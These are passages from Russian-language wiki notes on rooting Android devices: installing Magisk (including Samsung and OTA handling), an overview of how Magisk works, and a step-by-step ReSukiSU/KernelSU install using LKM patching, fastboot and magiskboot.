`init_boot.img` / `recovery.img`) извлекают из **официальной прошивки или zip вашего кастомного ROM** — строго **той версии**, что стоит на устройстве. ## Шаг 2. Пропатчить образ и прошить (общий случай) Стандартный путь для устройств с boot-ramdisk (например, Pixel — там `init_boot`). Порядок по [официальной инструкции](https://topjohnwu.github.io/Magisk/install.html): - [ ] Скопировать стоковый `boot.img` / `init_boot.img` от **вашей текущей прошивки** на телефон. - [ ] В приложении Magisk нажать **Install** (кнопка в карточке Magisk). - [ ] *(Только для recovery-образа)* включить опцию **«Recovery Mode»**. - [ ] Метод — **«Select and Patch a File»**, выбрать образ, запустить установку. - [ ] Забрать пропатченный образ на ПК: `adb pull /sdcard/Download/magisk_patched_[строки].img`. - [ ] Уйти в fastboot и прошить в **тот же раздел**, что патчили: ```bash fastboot flash init_boot magisk_patched-*.img # или: fastboot flash boot magisk_patched-*.img # или: fastboot flash recovery magisk_patched-*.img ``` - [ ] *(Необязательно)* если есть отдельный раздел `vbmeta`: `fastboot flash vbmeta --disable-verity --disable-verification vbmeta.img` — **может стереть данные**. - [ ] Перезагрузиться и запустить приложение Magisk; на запрос «environment fix» согласиться и дождаться ребута. Готово. > [!danger] Патчить образ — только на своём устройстве и от своей прошивки > **Никогда не прошивайте чужой пропатченный образ** и не патчите образ на другом устройстве — даже той же модели. Это может привести к «кирпичу» с необходимостью полного wipe данных. Всегда патчьте `boot`/`init_boot` **на том же устройстве**, где ставите Magisk, и **от точно той прошивки**, что установлена. > [!note] Известная проблема на Android 16 (Pixel) > По сообщениям ([Magisk issue #9583](https://github.com/topjohnwu/Magisk/issues/9583)), на **Android 16** со свежими сборками Magisk root иногда «не берётся» после прошивки — патч не распознаётся. Обходной путь из обсуждения: **переустановить сам APK Magisk** после флеша, тогда Zygisk и модули появляются. Это баг-репорт, а не официально закрытая проблема — проверяйте актуальность. ## Особый случай: Magisk in Recovery (устройства без boot-ramdisk) Если у устройства **нет ramdisk в boot** (`Ramdisk = No`), Magisk вынужденно **занимает recovery-раздел**. Тогда Magisk включается **только при загрузке в recovery**: обычная загрузка идёт **без** Magisk, а чтобы система стартовала с root, нужно каждый раз входить через комбинацию клавиш recovery (у каждой модели своя — легко ищется по названию устройства). Схема (от выключенного состояния): - **Обычное включение** → система **без** Magisk. - **Комбо recovery** → сплеш-экран → **отпустить все кнопки** → система **с** Magisk. - **Комбо recovery** → сплеш-экран → **долго держать Volume Up** → настоящий recovery. В этом режиме **обновлять/ставить Magisk через кастомный recovery нельзя** — только методом «Patch Image». ## Особый случай: устройства Samsung > [!warning] Samsung: необратимый Knox и обязательный wipe > На Samsung установка Magisk **навсегда «сжигает» Knox Warranty Bit** (необратимо) и **при первой установке требует полного wipe данных**. Порядок на Samsung отличается — вместо `fastboot` используется **Odin** (Windows) / **Odin4** (Linux) / **Heimdall**: - [ ] Проверить в **Download mode**, что загрузчик разблокирован: `OEM Lock = OFF (U)` и что **KnoxGuard (RMM)** не активен (значения `Checking`/`Completed`/`Broken` = разблокирован). Активный KnoxGuard не даст поставить Magisk. - [ ] Скачать официальную прошивку своей модели (SamFirm.NET, Frija, Samloader, Bifrost) и скопировать на телефон **AP tar** (`AP_[модель_версия].tar.md5`). - [ ] В Magisk: **Install** → *(если нет boot-ramdisk — включить «Recovery Mode»)* → **«Select and Patch a File»** → выбрать AP tar. - [ ] Забрать результат по ADB: `adb pull /sdcard/Download/magisk_patched_[строки].tar`. **Не использовать MTP** — он портит большие файлы. - [ ] В **Odin** прошить `magisk_patched.tar` как **AP** вместе с `BL`, `CP` и `CSC` (именно `CSC`, а не `HOME_CSC`, — чтобы стереть данные при первой установке). - [ ] После прошивки согласиться на factory reset; при отсутствии boot-ramdisk — загрузиться в recovery, чтобы включить Magisk. Запустить приложение Magisk и дать ему доделать настройку с автоперезагрузкой. > [!danger] Samsung: важные запреты > - После рутинга **OTA недоступны** — новую прошивку ставят вручную тем же патчем AP. При **апгрейде** в Odin используют `HOME_CSC` (а не `CSC`), чтобы **не** стирать данные. > - **Никогда не восстанавливайте `boot`/`init_boot`/`recovery`/`vbmeta` обратно на сток** — это грозит «кирпичом» с восстановлением только через полный Odin-флеш с wipe. > - Никогда не шейте стоковый AP напрямую при обновлении — всегда сперва патчьте его в Magisk. ## Root и обновления прошивки (OTA): как не терять root Как и любой boot-based root, **Magisk слетает после OTA** — обновление перезаписывает `boot`/`init_boot`. На **A/B-устройствах** (современные Pixel и др.) переустанавливать через ПК не нужно — есть функция **«Install to Inactive Slot (After OTA)»**: - [ ] Установить обновление (например, в LineageOS Updater / системном апдейтере), но **не перезагружаться**, когда предложит «Reboot». - [ ] В Magisk: **Install → «Install to Inactive Slot (After OTA)»** — Magisk пропатчит неактивный слот, куда легло обновление. - [ ] Только теперь перезагрузиться — система стартует с обновлённого слота уже с root. > [!warning] Порядок критичен > Сначала установка OTA в неактивный слот, **потом** Magisk в тот же слот, и лишь затем перезагрузка. Если перезагрузиться раньше — root слетит, и придётся патчить `boot`/`init_boot` вручную и шить через `fastboot`. Изредка трюк с неактивным слотом даёт сбой (зависит от версии Magisk/сборки) — тогда откатываетесь к ручному патчу текущего образа. ## Удаление Magisk - **Через приложение Magisk** — кнопка **Uninstall** (простой и рекомендуемый способ). - **Через кастомный recovery** — переименовать APK Magisk в `uninstall.zip` и прошить как обычный flashable-zip. Способ **устарел** и поддерживается по минимуму; на современных устройствах используйте метод «Patch Image». > [!warning] Не стирайте cache-раздел > Файлы правил `sepolicy.rule` некоторых модулей могут лежать в разделе `cache`. При манипуляциях **не выполняйте wipe cache**, иначе потеряете настройки модулей. ## 📚 См. также - [[root/Magisk|Magisk — systemless-root и модули]] — обзорная заметка: что это, зачем, systemless, модули, Zygisk, скрытие root, сравнение с KernelSU - [[root/ReSukiSU-install|Установка ReSukiSU]] — установка root **через ядро**; там же общий разбор `fastboot`, слотов A/B и почему на LineageOS удобнее Magisk - [[Zapret/android|Обход блокировок на Android]] — смежная тема: DPI и блокировки на телефоне (root не требуется, но иногда с ним удобнее) - 🔗 [Официальная инструкция по установке Magisk](https://topjohnwu.github.io/Magisk/install.html) — первоисточник этой заметки - 🔗 [Репозиторий Magisk на GitHub](https://github.com/topjohnwu/Magisk) — исходники и релизы (в т.ч. Canary) - 🔗 [Magisk issue #9583](https://github.com/topjohnwu/Magisk/issues/9583) — root «не берётся» на Android 16, обходной путь --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/Magisk-install.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - root - android - magisk - systemless aliases: - Magisk - магиск - systemless root link: https://github.com/topjohnwu/Magisk --- # 🎭 Magisk — systemless-root и модули для Android > [!info] О чём заметка > **Magisk** — самый популярный способ получить **root-права на Android**, работающий «поверх» системы (в userspace). Заметка объясняет, что это такое, зачем нужен и как устроен (systemless-патч загрузочного образа, модули, Zygisk, скрытие root). Это **обзорная (теоретическая)** заметка; пошаговая установка вынесена в [[root/Magisk-install|Установку Magisk]]. Родственный, но иначе устроенный подход — root **через ядро** — описан в [[root/ReSukiSU|ReSukiSU/KernelSU]]; сравнение двух подходов — в разделе [[root/ReSukiSU#KernelSU/ReSukiSU против Magisk: чем отличается и когда что выбрать|«KernelSU/ReSukiSU против Magisk»]]. ## TL;DR - **Magisk** (автор — topjohnwu / John Wu) даёт root, **патча загрузочный образ** (`boot.img` или `init_boot.img`) и подгружая суперпользователя при загрузке. Это **userspace-root**, «надстройка над системой». - Ключевая идея — **systemless**: системный раздел физически не меняется, модификации накладываются поверх. Поэтому их легко откатить. - Возможности: выдача root приложениям, **модули** (systemless-моды), **Zygisk** (код в процессах приложений), **DenyList/скрытие** root от банков и античитов. - **Ставится почти на любое устройство** и не требует GKI-совместимого ядра — в отличие от [[root/ReSukiSU|KernelSU]]. Зато обнаруживается относительно легче. - Пошаговая установка (требования, патч образа, Samsung, OTA) — в [[root/Magisk-install|отдельной заметке]]. ## Что такое Magisk и чем он отличается от KernelSU **Root (суперпользователь)** на Android — это права делать то, что обычно запрещено: менять системные файлы, блокировать рекламу на уровне системы, удалять предустановленные приложения, тонко настраивать сеть. Общее введение в root есть в [[root/ReSukiSU#Что такое «root через ядро» и при чём тут KernelSU|обзорной заметке про KernelSU]]; здесь — про конкретно магисковый подход. Magisk получает эти права так: он **патчит загрузочный образ** устройства (`boot.img`/`init_boot.img`) — точнее, встроенный в него **ramdisk** (маленькую стартовую файловую систему). При загрузке магисковый код (`magiskinit`) стартует раньше системы, поднимает демон и выдаёт root. То есть суперпользователь работает **в пользовательском пространстве (userspace), поверх системы**. **Проще говоря:** Magisk — это «заплатка на загрузчик системы», которая при каждом старте подсовывает Android свой слой с правами root. Само ядро Linux при этом не трогается. Ключевое отличие от [[root/ReSukiSU|KernelSU/ReSukiSU]]: там root встроен **в само ядро**, здесь — **поверх системы**. Отсюда практическая разница: - **Плюс Magisk:** ставится почти на всё, не зависит от версии/сборки ядра (GKI не обязателен). Именно поэтому Magisk часто оказывается практичнее на **кастомных ROM** вроде [[root/ReSukiSU-install#Почему LKM не грузится на кастомном ROM (LineageOS и т.п.)|LineageOS]], где готовый модуль KernelSU не встаёт в самосборное ядро. - **Минус Magisk:** раз это «надстройка сверху», проверяющим приложениям её относительно легче обнаружить, чем root в ядре. Полное сравнение с таблицей и разбором «когда что выбрать» — в [[root/ReSukiSU#KernelSU/ReSukiSU против Magisk: чем отличается и когда что выбрать|заметке про ReSukiSU]]. ## Что значит «systemless» и зачем это нужно **Systemless** — центральное понятие Magisk. Модификации применяются **без изменения системного раздела**: физически `/system` остаётся нетронутым, а Magisk лишь **накладывает поверх него слой изменений** (через overlay/bind-mount). Система «видит» изменённые файлы, но на диске оригинал цел. Зачем так: - **Легко откатить** — отключил модуль, и всё вернулось. - **Не ломает проверки целостности раздела** так грубо, как прямая правка `/system`. - **Переживает часть обновлений** проще (хотя обновление прошивки всё равно затирает патч загрузочного образа — см. [[#Root и обновления прошивки (OTA)|раздел про OTA]]). ## Возможности ### Модули (systemless-моды) **Модуль Magisk** — это пакет, который **накладывает свои файлы поверх системы** без её изменения. Так ставят системные твики, шрифты, аудио-моды, правки `build.prop`, hosts-файлы для блокировки рекламы и т.д. Модули включаются/выключаются в приложении Magisk и не портят систему необратимо. ### Zygisk **Zygisk** — «Magisk внутри Zygote». Zygote — процесс Android, из которого **порождаются все приложения**. Zygisk позволяет модулям **выполнять код в контексте каждого приложения**. На этом механизме работает, например, [[root/LSPosed|LSPosed]] — фреймворк для перехвата методов приложений в рантайме. Zygisk также нужен для качественного **скрытия root**. ### DenyList и скрытие root **DenyList** — список приложений, от которых Magisk **прячет факт root и своё присутствие** (отключает в их процессах Zygisk-инъекции и root). Используется, чтобы банковские, платёжные приложения и игры с античитом не видели root. > [!warning] Скрытие root — «гонка вооружений», гарантий нет > Сокрытие (DenyList + Zygisk-модули вроде Shamiko, плюс обход **Play Integrity**) работает не всегда: системы проверки постоянно обновляются. Это **непрерывное соревнование**, поэтому 100%-й гарантии обхода конкретной проверки нет ни у Magisk, ни у [[root/ReSukiSU#SUSFS — скрытие root от приложений|SUSFS в KernelSU]]. Для kernel-root скрытие в среднем даётся легче, но абсолютной защиты не даёт никто. ## Root и обновления прошивки (OTA) Как и любой root, живущий в загрузочном разделе, **Magisk слетает после обновления прошивки** — OTA перезаписывает `boot`/`init_boot`, и патч исчезает. Это **свойство подхода**, а не баг конкретного решения; та же механика описана для [[root/ReSukiSU-install#Root и обновления прошивки (OTA, кастомные ROM)|KernelSU/ReSukiSU]]. На практике это значит, что root приходится **накладывать заново после каждого апдейта**. На современных **A/B-устройствах** это делается прямо на телефоне через функцию «Install to Inactive Slot (After OTA)» — пошагово процедура описана в [[root/Magisk-install#Root и обновления прошивки (OTA): как не терять root|Установке Magisk]]. ## 📚 См. также - [[root/Magisk-install|Установка Magisk]] — пошагово: требования, проверка Ramdisk, патч `boot`/`init_boot`, Magisk in Recovery, Samsung, удаление, OTA - [[root/LSPosed|LSPosed и Xposed]] — модификация приложений в рантайме поверх Zygisk (нужен root с включённым Zygisk) - [[Zapret/magisk-zapret2|Zapret2 как Magisk-модуль]] — практический пример «зачем root»: системный обход блокировок (DPI) для всех приложений без VPN - [[root/ReSukiSU|ReSukiSU — форк SukiSU для root через ядро]] — альтернативный подход (root в ядре), с разделом [[root/ReSukiSU#KernelSU/ReSukiSU против Magisk: чем отличается и когда что выбрать|сравнения с Magisk]] - [[Zapret/android|Обход блокировок на Android]] — смежная тема: DPI и блокировки на телефоне (root не требуется, но иногда с ним удобнее) - 🔗 [Репозиторий Magisk на GitHub](https://github.com/topjohnwu/Magisk) — исходники, релизы (в т.ч. Canary) - 🔗 [Официальная документация Magisk](https://topjohnwu.github.io/Magisk/) — гайды и внутреннее устройство --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/Magisk.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - root - android - kernelsu - sukisu - install aliases: - Установка ReSukiSU - ReSukiSU install - Прошивка ReSukiSU - LKM ReSukiSU link: https://resukisu.github.io/guide/install.html --- # 🛠️ Установка ReSukiSU — LKM, AnyKernel3 и ручной патч boot.img > [!info] О чём заметка > Пошаговая установка root-решения **ReSukiSU** на Android по [официальной документации проекта](https://resukisu.github.io/guide/install.html) (по состоянию на июль 2026). Что такое ReSukiSU, чем он отличается от Magisk/KernelSU и какие у него возможности (KPM, SUSFS, метамодули) — в обзорной заметке [[root/ReSukiSU|ReSukiSU — форк SukiSU для root на Android]]. Здесь — только прошивка: где взять менеджер, три способа установки и запасной ручной патч через `magiskboot`. > [!danger] Нужны базовые навыки прошивки > Официальная документация прямо исходит из того, что вы уже умеете прошивать образы через `fastboot` и знаете, как выводить устройство из «кирпича». Если это не так — сначала разберитесь с азами для вашей конкретной модели. Прошивка несовместимого образа ядра — частая причина того, что устройство перестаёт загружаться. Заранее сохраните резервную копию заводских `boot.img` / `init_boot.img`. > [!important] Обязательное условие: разблокированный загрузчик > Прошить пропатченный образ через `fastboot` можно **только на разблокированном загрузчике** (bootloader). Без этого `fastboot flash` откажет, и root не поставить никакими способами. Проверьте/включите заранее: > > 1. **Настройки → Для разработчиков → «Заводская разблокировка» (OEM unlocking)** — переключатель должен быть включён. > 2. Разблокировка делается из fastboot командой `fastboot flashing unlock` (подтвердить на экране телефона кнопками громкости/питания). > > **Разблокировка загрузчика стирает все данные устройства** (полный wipe) и снижает часть защит — поэтому её делают до настройки телефона или с бэкапом. На кастомных ROM вроде LineageOS загрузчик **уже разблокирован** (иначе ROM бы не встал), так что отдельно ничего делать не нужно. Некоторые операторские/залоченные устройства разблокировку не позволяют вовсе — тогда kernel-root недоступен. ## TL;DR - **Менеджер (APK)** на июль 2026 ещё в разработке и **не публикуется в GitHub Releases** — сборку берут из CI (nightly.link или GitHub Actions), только из ветки `main`. - **Способ 1 — LKM-установка** (ядра ≥ `5.10`): менеджер сам патчит `boot`/`init_boot`/`vendor_boot`, вы прошиваете результат. Самый простой путь; большинству устройств достаточно `init_boot`. - **Способ 2 — AnyKernel3** (GKI и non-GKI): встроенная установка из менеджера, но **требует уже полученного root** (иначе кнопка не покажется). - **Запасной путь — ручной патч `boot.img` через `magiskboot`**, когда автопатч не срабатывает. Делается либо прямо на Android-устройстве, либо на ПК. - Конкретика сильно зависит от модели — сверяйтесь с [официальной инструкцией](https://resukisu.github.io/guide/install.html). ## Шаг 0. Где взять менеджер (APK) **Менеджер** — это приложение, через которое вы управляете root-правами, ставите модули и настраиваете SUSFS. На июль 2026 менеджер ReSukiSU **ещё в разработке и намеренно не выкладывается в GitHub Releases** (по объяснению авторов — в менеджере слишком много незавершённого). Поэтому сборку берут из непрерывной интеграции (CI — Continuous Integration, автосборка при каждом коммите): - через **nightly.link**: https://nightly.link/ReSukiSU/ReSukiSU/workflows/build-manager/main/Manager-release.zip — позволяет скачать файл **без входа в GitHub-аккаунт**; - либо напрямую из **GitHub Actions** проекта (workflow `build-manager`, ветка `main`). > [!warning] Только ветка main — стабильная > По прямому предупреждению самого проекта: кроме ветки `main`, все остальные ветки — **тестовые** (testing branches). Берите сборку менеджера из `main`. По тестовым веткам авторы просят **не присылать баг-репорты**, если работа с ними не была запрошена отдельно. ### Что лежит в сборке CI и какой файл качать Одна сборка `build-manager` в GitHub Actions выкладывает **сразу несколько артефактов** — не только APK менеджера, но и готовые LKM-модули и служебные бинарники. Обычному пользователю из всего списка нужен **только `Manager-release`** (это тот же файл, на который ведёт nightly.link-ссылка выше). Остальное — либо служебное, либо менеджер подтягивает его сам. Пайплайн собирает менеджер в **двух вариантах — `normal` и `spoofed`** (это отдельные джобы в матрице сборки), плюс отдельными джобами собирает `ksuinit`, LKM и `ksud` под каждую архитектуру. В конце есть шаг `upload-telegram` — то есть свежие сборки могут автоматически публиковаться и в Telegram-канал проекта (в наблюдаемом прогоне от июля 2026 этот шаг был пропущен, так что не полагайтесь на него как на гарантированный канал). ![[resukisu-build-manager-jobs-2026-07.png]] | Артефакт | Что это | Нужен вручную | | --- | --- | --- | | **`Manager-release`** | Релизный APK менеджера | ✅ его и качают | | `Manager-debug` | Отладочный APK (крупнее, с логами) — для разработки | нет | | `Manager-mappings` | Файлы деобфускации R8/ProGuard для расшифровки стектрейсов крашей | нет | | `Spoofed-Manager-release` | Вариант менеджера с «замаскированным» именем пакета/иконкой | опционально — см. ниже | | `Spoofed-Manager-mappings` | Deobfuscation-mappings для spoofed-варианта | нет | | `androidXX-Y.Z-lkm` | Готовые **LKM-модули** под конкретный KMI (версия Android + ядра): `android12-5.10`, `android13-5.15`, `android14-6.1`, `android15-6.6`, `android16-6.12` и т.д. | нет — менеджер сам подберёт при LKM-патче | | `ksud--linux-android` | Userspace-бинарник **ksud** (демон/CLI KernelSU) под `aarch64` / `armv7` / `x86_64` | нет — входит в состав | | `ksuinit` | init-компонент | нет — входит в состав | > [!note] Про Spoofed-вариант > Наличие двух сборок подтверждается матрицей CI: джобы `build-manager (normal, …)` и `build-manager (spoofed, …)` собираются раздельно. Что именно делает «spoofed» — вывод по названию: почти наверняка это сборка со **«спуфнутым» (изменённым) именем пакета и иконкой**, чтобы приложения-проверяльщики (банки, античиты, Play Integrity) не опознавали сам менеджер по стандартному package name — распространённая функция «скрытия менеджера» в форках KernelSU. Точную механику именно этой сборки уточняйте в документации/сообществе проекта. > [!info] Размеры и хеши — свои в каждой сборке > В интерфейсе Actions рядом с каждым артефактом показаны размер и `sha256` (например, `Manager-release` — около 29 МБ). Эти значения **меняются от сборки к сборке**, поэтому ориентируйтесь на **имя артефакта**, а не на конкретный размер или хеш из чужого билда. ## Способ 1. LKM-установка (для ядер ≥ 5.10) — самый простой **LKM (Loadable Kernel Module — загружаемый модуль ядра)** — способ добавить ReSukiSU без пересборки всего ядра: менеджер сам патчит загрузочный образ и подгружает модуль. Подходит для ядер версии **`5.10` и новее**. **Проще говоря:** вам не нужно ничего компилировать. Менеджер по параметрам ядра (KMI — Kernel Module Interface, «интерфейс» совместимости) сам подбирает нужный LKM-файл, встраивает его в ваш образ и отдаёт готовый файл — остаётся только прошить. > [!tip] Что значит «ядро ≥ 5.10» и как узнать свою версию > **Ядро** — это версия ядра Linux внутри Android (самый нижний слой системы). Знак `≥ 5.10` означает «версия **5.10 или новее**»: подходят `5.10`, `5.15`, `6.1`, `6.6`, `6.12` и т.д. Именно с ядра **5.10** Google ввёл **GKI 2.0** (Generic Kernel Image — единый образ ядра для многих устройств) со стандартным интерфейсом модулей, поэтому для таких ядер и существуют готовые LKM-файлы. Если ядро **старше** (например, `4.19`, `4.14`, `3.18`) — LKM-способ не сработает, ставьте через [[#Способ 2. AnyKernel3 (для GKI2 / GKI1 / non-GKI ядер)|AnyKernel3]] или собирайте ядро вручную. > > **Как проверить свою версию:** Настройки → «О телефоне» → «Версия ядра»; либо в терминале/ADB-shell команда `uname -r`. Смотрите первые два числа: строка вида `5.15.123-android13-…` означает ядро **5.15**, то есть условие `≥ 5.10` выполнено. > > **Реальный пример (Google Pixel 9 Pro XL, кодовое имя `komodo`, LineageOS 23.2):** «Версия ядра» показывает `6.1.174-android14-11-g6d16a8dea9bf`. Здесь `6.1` — версия ядра (≥ 5.10, значит GKI 2.0 и LKM-способ подходит), а метка `android14` — это **GKI/KMI-ветка ядра, а не версия Android**. Google называет ветку по релизу, с которого она стартовала; ветка не меняется при обновлении ОС, поэтому устройство может работать на более новом Android (в этом примере — LineageOS 23.2, то есть Android 16), сохраняя ядро ветки `android14-6.1`. Именно **пара `6.1` + `android14`** (а не версия ОС) определяет нужный LKM и точно соответствует имени артефакта из CI — [[#Что лежит в сборке CI и какой файл качать|`android14-6.1-lkm`]]. Менеджер подберёт его автоматически при LKM-патче, выбирать вручную не нужно. - [ ] Установить и открыть менеджер ReSukiSU (APK из [[#Шаг 0. Где взять менеджер (APK)|шага 0]]). - [ ] Если ядро ≥ `5.10`, при статусе **«Not Installed»** нажатие переведёт на экран установки с опцией **«LKM patching/installation»**. - [ ] Выбрать по подсказкам менеджера файл `boot` / `init_boot` / `vendor_boot` от вашего устройства и нажать «Далее». - [ ] Менеджер быстро определит LKM-файл по KMI, пропатчит образ и сохранит результат `KernelSU_patched_*.img` в папку загрузок. - [ ] Прошить полученный образ в соответствующий раздел подходящим методом (обычно `fastboot`). > [!info] Какой файл патчить > Устройств, которым нужен патч именно `vendor_boot`, довольно мало — как правило, достаточно пропатчить **`init_boot`**. ### «Установить» / «Починить» и откуда берётся сам LKM На экране LKM-установки менеджер обычно предлагает два действия. Важно понимать: **сам LKM-модуль искать и скачивать не нужно** — он уже вшит в APK менеджера (это те самые артефакты `androidXX-Y.Z-lkm` из [[#Что лежит в сборке CI и какой файл качать|сборки CI]]). По вашему KMI менеджер выберет нужный `.ko` сам. От вас требуется только **загрузочный образ**, в который этот модуль встроят. - **«Установить» (Install)** — первичная установка: выбираете `init_boot.img`, менеджер патчит его и отдаёт `KernelSU_patched_*.img`. - **«Починить» (Repair/Fix)** — повторно наложить патч, когда root слетел (например, после обновления прошивки — см. [[#Как сделать, чтобы root не слетал после обновлений|раздел про OTA и кастомные ROM]]). **Проще говоря:** «Установить LKM» = «возьми мой `init_boot.img` и вставь в него готовый модуль ядра». Модуль у менеджера уже есть — ему нужен только ваш образ. ### Где взять `init_boot.img` (на примере Google Pixel) Образ обязан **точно соответствовать прошивке, которая сейчас стоит на телефоне** — иначе устройство может не загрузиться. На Pixel с Android 13+ патчат именно `init_boot`, а не `boot`. - [ ] **Сток (заводская прошивка):** скачать **factory image** для вашей модели с 🔗 [Google Developers → Factory Images](https://developers.google.com/android/images), распаковать архив и достать из него `init_boot.img`. - [ ] **LineageOS:** обычно `init_boot.img` лежит **отдельным файлом** на странице сборки — качается напрямую, распаковывать `payload.bin` не нужно. Пример для Pixel 9 Pro XL (кодовое имя `komodo`): страница [download.lineageos.org/devices/komodo/builds](https://download.lineageos.org/devices/komodo/builds) → рядом со сборкой ссылка вида `…/full/komodo/<дата>/init_boot.img`. **Дата в ссылке должна совпадать с установленной сборкой.** - [ ] **Другой кастом (если отдельного `init_boot.img` нет):** взять его из zip/`payload.bin` **той же сборки**, что прошита. Если внутри `payload.bin` — распаковать через 🔗 [payload-dumper-go](https://github.com/ssut/payload-dumper-go) и достать `init_boot.img`. - [ ] Сохранить **оригинальный** `init_boot.img` отдельно — понадобится для отката. > [!warning] Версия образа должна совпадать с установленной > Патчить нужно `init_boot` **ровно того билд-номера, что сейчас на устройстве**. `init_boot` от другой версии Android или патча безопасности может не загрузиться. Билд-номер смотрите в Настройки → «О телефоне» → «Номер сборки». После обновления прошивки образ меняется — поэтому root и «слетает», и патч приходится накладывать заново (кнопка «Починить»). ### Как прошить пропатченный образ через fastboot После того как менеджер отдал `KernelSU_patched_*.img`, его нужно записать в раздел `init_boot` через `fastboot`. Понадобятся `adb` и `fastboot` из [Android platform-tools](https://developer.android.com/tools/releases/platform-tools) и **[[#Обязательное условие: разблокированный загрузчик|разблокированный загрузчик]]**. - [ ] **Перевести телефон в режим fastboot (bootloader).** Командой `adb reboot bootloader` (если включена отладка по USB и ПК авторизован) либо вручную: выключить телефон и зажать **Volume Down + Power**. - [ ] **Убедиться, что fastboot видит устройство:** `fastboot devices` — должна появиться строка с серийником и словом `fastboot`. (В fastboot-режиме подтверждение авторизации, как в ADB, не требуется.) - [ ] **Прошить образ в `init_boot`:** `fastboot flash init_boot путь/к/KernelSU_patched_*.img`. На A/B-устройствах (все современные Pixel) это запишется в активный слот автоматически. - [ ] **Перезагрузиться:** `fastboot reboot`. - [ ] После загрузки открыть менеджер **ReSukiSU** — статус сменится с «Not Installed» на установленный (покажет версию, `Working`). Проверить root любым приложением, запрашивающим суперпользователя. > [!example] Реальный пример: Pixel 9 Pro XL (komodo) на LineageOS > ```bash > # 1. в bootloader > adb reboot bootloader > # 2. проверка > fastboot devices # → 52041FDAS… fastboot > # 3. прошивка (образ от менеджера) > fastboot flash init_boot kernelsu_patched_20260718_140228.img > # → Sending 'init_boot_a' ... OKAY / Writing 'init_boot_a' ... OKAY > # 4. перезагрузка > fastboot reboot > ``` > Раздел записался как `init_boot_a` (активный слот A), после ребута менеджер ReSukiSU показал рабочий root. Серийный номер устройства здесь скрыт — публиковать его не нужно. > [!note] Если fastboot — Windows-бинарник (например, из WSL) > `fastboot.exe` понимает только Windows-пути. Путь вида `/mnt/d/...` (WSL) он не найдёт — передавайте образ Windows-путём в кавычках: `fastboot.exe flash init_boot 'D:\downloads\KernelSU_patched.img'`. > [!danger] На случай бутлупа и про блокировку загрузчика > - Если после прошивки устройство **не загружается** (висит на логотипе, бутлуп) — прошейте обратно **оригинальный** (непатченный) `init_boot.img` **той же сборки**: `fastboot flash init_boot init_boot.img`. Поэтому оригинал и просят сохранить заранее. > - **Не блокируйте загрузчик** (`fastboot flashing lock`) с кастомным `init_boot` — это почти гарантированный «кирпич». Загрузчик должен оставаться разблокированным, пока стоит root. ## Способ 2. AnyKernel3 (для GKI2 / GKI1 / non-GKI ядер) **AnyKernel3** — универсальный формат установочного архива, который сам находит нужный раздел и подменяет ядро. В менеджере ReSukiSU встроен способ установки через AnyKernel3, но **эта опция не показывается, если у менеджера нет root-доступа**. Чтобы её включить, обычно нужно: 1. Сначала получить root через **LKM-установку** ([[#Способ 1. LKM-установка (для ядер ≥ 5.10) — самый простой|Способ 1]]), затем прошить AnyKernel3, чтобы выдать root. 2. Либо вручную пропатчить `boot.img` через `magiskboot` (см. ниже). **Проще говоря:** встроенная AnyKernel3-установка — «для тех, у кого root уже есть». Если root ещё нет, начните с LKM-установки, а AnyKernel3 примените уже поверх неё. ## Ручной патч boot.img через magiskboot (если LKM не подходит) Запасной путь, когда автоматический патч не срабатывает. `magiskboot` — утилита из проекта Magisk для распаковки/сборки загрузочных образов. Раздел ниже основан на [официальной документации KernelSU](https://kernelsu.org), на которую ссылается сам ReSukiSU. Понадобятся два инструмента: - 🔗 [`magiskboot`](https://github.com/topjohnwu/Magisk/releases) — официальная сборка (входит в состав Magisk); - 🔗 [`magiskboot_build`](https://github.com/ookiineko/magiskboot_build/releases/tag/last-ci) — отдельная сборка, если хотите запускать `magiskboot` **на ПК**. > [!note] Официальный magiskboot — только под Android (и Linux) > Официальная сборка `magiskboot` рассчитана на запуск **на Android-устройстве**. Если нужно на ПК — берите `magiskboot_build`. Исключение: под **Linux** официальная сборка тоже работает нормально, так что пользователи Linux могут взять официальную. ### Подготовка - [ ] Получить **заводской `boot.img`** для вашей модели — у производителя или из прошивки. Если прошивка идёт единым `payload.bin`, образ достают инструментом 🔗 [payload-dumper-go](https://github.com/ssut/payload-dumper-go). - [ ] Распаковать **AnyKernel3-архив** ReSukiSU и достать из него файл `Image` — это и есть ядро KernelSU/ReSukiSU. ### Вариант А. Прямо на Android-устройстве Использует библиотеку `libmagiskboot.so`, спрятанную внутри APK Magisk. - [ ] Скачать свежий Magisk из [GitHub Releases](https://github.com/topjohnwu/Magisk/releases). - [ ] Переименовать `Magisk-*(версия).apk` в `Magisk-*.zip` и распаковать. - [ ] Закинуть `libmagiskboot.so` на устройство через ADB: `adb push Magisk-*/lib/arm64-v8a/libmagiskboot.so /data/local/tmp/magiskboot`. - [ ] Закинуть туда же заводской `boot.img` и файл `Image` из AnyKernel3. - [ ] В ADB-shell перейти в каталог и сделать бинарник исполняемым: ```bash cd /data/local/tmp/ chmod +x magiskboot ./magiskboot unpack boot.img mv -f Image kernel ./magiskboot repack boot.img ``` - [ ] Прошить полученный `new-boot.img` через `fastboot`. ### Вариант Б. На ПК (Windows / macOS / Linux) - [ ] Скачать бинарник `magiskboot` под вашу ОС из `ookiineko/magiskboot_build` (релиз `last-ci`); под Linux можно взять официальную сборку. - [ ] Положить рядом заводской `boot.img` и `Image`. - [ ] Собрать новый образ: ```bash chmod +x magiskboot ./magiskboot unpack boot.img mv -f Image kernel ./magiskboot repack boot.img ``` - [ ] Прошить полученный `new-boot.img` через `fastboot`. **Что делают команды:** `unpack` распаковывает `boot.img` и достаёт из него `kernel` (ваше заводское ядро); `mv -f Image kernel` заменяет заводское ядро на ядро ReSukiSU; `repack` собирает образ обратно в `new-boot.img`. ## Root и обновления прошивки (OTA, кастомные ROM) Частая жалоба: root **«слетает»** — обычно после обновления 